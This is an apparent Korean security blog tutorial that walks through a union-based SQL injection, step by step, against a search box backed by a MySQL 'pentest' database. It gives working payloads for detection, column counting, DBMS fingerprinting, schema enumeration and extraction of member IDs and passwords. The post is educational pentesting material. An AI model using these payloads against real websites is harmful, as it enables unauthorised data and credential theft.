2024. 10. 27. 03:22ㆍWeb Security/웹 해킹
sql injection을 통해서 인증 우회, 정보 탈취, 서버권한 탈취 등등 많을 것을 할 수 있다.
그런데 대부분의 CTF의 환경에서 sql injection의 경우 서버 코드 및 DB의 스키마를 알고 있는 상태에서 공격한다, 하지만 진짜 웹 사이트는 그러한 정보가 주어지지 않는다. 이에 진짜 웹 사이트를 공격할 때 어떤 방식으로 진행되는지 설명하고자 한다.
sql injection 정보탈취 시 error base attack, union base attack, sub query base attack, blind attack, out bound attack 등등 많다. 그 중에 대표적으로 union base attack을 처음부터 어떻게 진행되는지 설명해보도록 하겠다.
대표적으로 이런 검색창이 대부분의 웹 사이트에는 존재한다.
DB에 따라 다르지만, 검색시 문자열의 합이 되는지의 유무를 통해서 sql injection이 취약한지 알 수 있다.
https://minpo.tistory.com/74 에서 설명했다 싶이 문자열의 합을 이용해서 취약한지 점검한다.(점검시 어떤 db를 사용하는지 모르니 모두 넣어봐야 한다)
일단 우리는 sql 구문이 select * from DB_name where title like '%{name}%'; 이런식으로 이루어 져 있을 것이라고 예상할 수 있다.
실험을 본 결과 다음과 같이
select * from insecure_board where title like '%ads' 'fa%'; 이 입렵되면
select * from insecure_board where title like '%adsfa%'처럼 되는 것을 알 수 있다.
아래 사진은 일반적으로 예상했던 결과이다.
ads' 'fa입력시 adsfa를 찾게 되고 이것은 sql injection에 취약하다고 할 수 있다.
여기서 데이터베이스 공격을 위해서 union 문을 사용해서 공격할 수 있다.
union base sql injectien을 성공하기 위해서는 DB 스키마를 알아야 한다. DB 스키마를 알아내기 위해서 현재 sql injection이 취약한 사이트 창의 sql 구문에서 두가지 정보를 알아야 한다.
첫번째는 반환할 컬럼 갯수이며, 두번째는 type 및 우리가 입력한 정보가 어디에 노출되는지이다. union 할 때 반환 컬럼의 갯수와 type을 맞춰줘야 한다. 예외적으로, mysql DRMS에서는 type은 맞출 필요가 없다. union으로 우리 원하는 정보를 뽑아야 하기 때문에 union 사용하는 것입니다.
첫번째 반환 컬럼 갯수 알아보는 법.
order by 구문을 사용하면 된다.
ordey by 사용법은 아래와 같다
order by title DESC id ASC; title을 내림차수으로 정렬하고 난 뒤 순서 같은 것이 있다면 id를 올림 차순으로 정렬하라는 것이다.(ASC: 올림차순이 기본값임)
여기서 order by 9는 9번째 컬럼을 통해서 올림차순을 하라는 뜻이다. order by 10이 에러가 발생한 이유는 컬럼의 갯수가 9개이기 때문이다.
order by 를 통해서 컬럼의 갯수가 9개임을 알 수 있다. order by 10을 했을 때는 오류가 나오기 때문에 결과가 출력 되지 않았다.
두번째, 컬럼의 type 및 우리가 입력한 정보가 어디에 노출되는지 알아야 한다.
이때 사용할 수 있는 것은 null이다. union이 작동될 때, null은 type의 영향을 받지고 않고 병합된다.
그럼으 로 asd%' union select "tes",null,null,null,null,null,null,null,null -- 와 같은 방식으로 어떤 컬럼이 반환되어 보이는지 type이 무엇인지 알 수 있다.
참고로 테스트 환경은 mysql임으로 원래는 type이 맞지 않아 병합에 오류가 나와야하나, 정상적으로 됨.
테스트 모두 해 본 결과 다음과 같은 결과를 얻어냄.
이제 DB의 스키마를 얻어야 한다. 그 전에 어떤 DB를 사용하는지 등등의 기본정보를 알아야 한다.
기본정보 습득
다음과 같이 mysql에서는 system_user(), version(),datbase() 함수들을 사용하여 출력할 수 있습니다.
다른 대표적인 DRMS에서는 다음과 같은 함수들이 사용됩니다.
- MySQL: SYSTEM_USER(), VERSION(), DATABASE()
- Oracle: USER, V$VERSION, SYS_CONTEXT('USERENV', 'DB_NAME')
- PostgreSQL: CURRENT_USER, VERSION(), CURRENT_DATABASE()
- SQLite: sqlite_version() (사용자와 데이터베이스에 대한 함수는 없음)
- MSSQL: SUSER_NAME(), @@VERSION, DB_NAME()
참고로 오라클에서는 조금 특히한 방식으로 동작된다. FROM 문 없이는 select문을 사용못함.
아래와 같은 방식으로 동작하니, 모의해킹 도중에 고려해야됨.
SELECT USER, SYS_CONTEXT('USERENV', 'DB_NAME') FROM dual;
SELECT * FROM V$VERSION;
돌아와서, root 사용자이면서, 5.1.41번전과 pentest DB 를 사용한다는 것을 알았다. 또한, DRMS가 mysql임을 자연스럽게 알게 되었다. 정보를 습득할 때, 다양한 함수 mssql, postsql 에 있는 함수들을 하나씩 사용해 보면서 mysql임을 알게된다.
예를 들어서, version(), database() 함수가 작동되는것을 보고 mysql임을 알 수 있다. 이외에도 5.1.41-communtiy 의 버전을 사용하는 것을 통해서 mysql임을 추측할 수도 있다.
아래는 버전을 통해서 mysql임을 유추할 수 있는 근거이다.
- 버전 번호 형식:
- 5.1.41 같은 버전 형식은 MySQL에서 흔히 사용되는 버전 표기 방식입니다. MySQL은 주로 세 자리의 버전 번호로 릴리스를 표기하며, 5.1.x는 MySQL 5.1 릴리스 계열 중 하나입니다.
- "community"라는 단어:
- MySQL Community Edition이라는 이름은 MySQL의 오픈 소스 버전을 지칭하는 공식 명칭입니다. MySQL은 Community Edition과 Enterprise Edition 두 가지 주요 에디션을 제공하며, "community"라는 용어는 MySQL의 무료 오픈 소스 버전에서 흔히 사용됩니다.
- MySQL 버전 명명 규칙:
- MySQL의 버전 명칭에는 보통 커뮤니티 에디션인지, 엔터프라이즈 에디션인지가 명확하게 명시됩니다. 5.1.41-community에서 "community"는 이 버전이 MySQL Community Edition임을 나타냅니다.
이제 DB 스키마를 알아보자 !!
각 DBMS에서 제공하는 스키마, 테이블, 컬럼 정보를 조회할 수 있는 주요 테이블과 뷰는 다음과 같다.
- MySQL: INFORMATION_SCHEMA.SCHEMATA, INFORMATION_SCHEMA.TABLES, INFORMATION_SCHEMA.COLUMNS
- Oracle: ALL_USERS, ALL_TABLES, ALL_TAB_COLUMNS
- PostgreSQL: pg_namespace, pg_tables, pg_columns
- SQLite: .schema, PRAGMA table_info()
- MSSQL: INFORMATION_SCHEMA.SCHEMATA, INFORMATION_SCHEMA.TABLES, INFORMATION_SCHEMA.COLUMNS
INFORMATION_SCHEMA.TABLES
INFORMATION_SCHEMA.TABLES
INFORMATION_SCHEMA.COLUMNS
그냥 보기만 해도 방대함... 또한, 모든 DB의 스키마 구조를 가지고 있음.
DB 전체 이름 보기
asd%' union select null,schema_name,null,null,null,null,null,null,null from information_schema.schemata; --
DB 안의 table 보기
asd%' union select TABLE_SCHEMA, TABLE_NAME,null,null,null,null,null,null,null from information_schema.tables where table_schema = "pentest"; --
table 안의 columns 구성 보기
asd%' union select table_name, column_name,null,null,null,null,null,null,null from information_schema.columns where table_schema = "pentest"; --
다음과 같이 구성을 알 수 있다.
asd%' union select table_name, column_name,null,null,null,null,null,null,null from information_schema.columns where table_schema = "pentest" and table_name="members"; --
정보를 습득할 것 같은 TABLE 확인을 했다.
마지막으로 정보 추출이다.
asd%' union select id, password,null,null,null,null,null,null,null from members
이렇게 해쉬함수를 사용해서 비밀번호를 해쉬화 시켜서 유출되도 문제가 안되게 막는 경우가 존재한다. 이럴경우 해쉬함수의 취약한점을 사용해서 찾을수 있음.
요약
1. 공격 요소 찾기
2. 공격 요소에서의 SQL 구문 컬럼 갯수, type, DB가 표시되는 부분 찾기
3. 어떤 DB를 사용하는지 확인
4. 기초적인 DB 정보(사용자, DB 버전, 사용 database) 확인하기
5. DB 스키마 확인하기
6. 공격
끝!
'Web Security > 웹 해킹' 카테고리의 다른 글
file upload & download & reverse shell (11) | 2024.11.15 |
---|---|
blind sql injection (1) | 2024.10.29 |
SQL injection 취약 부분 찾기 (0) | 2024.10.24 |
NO-SQL injection (2) | 2024.10.02 |
sql injection (6) | 2024.10.02 |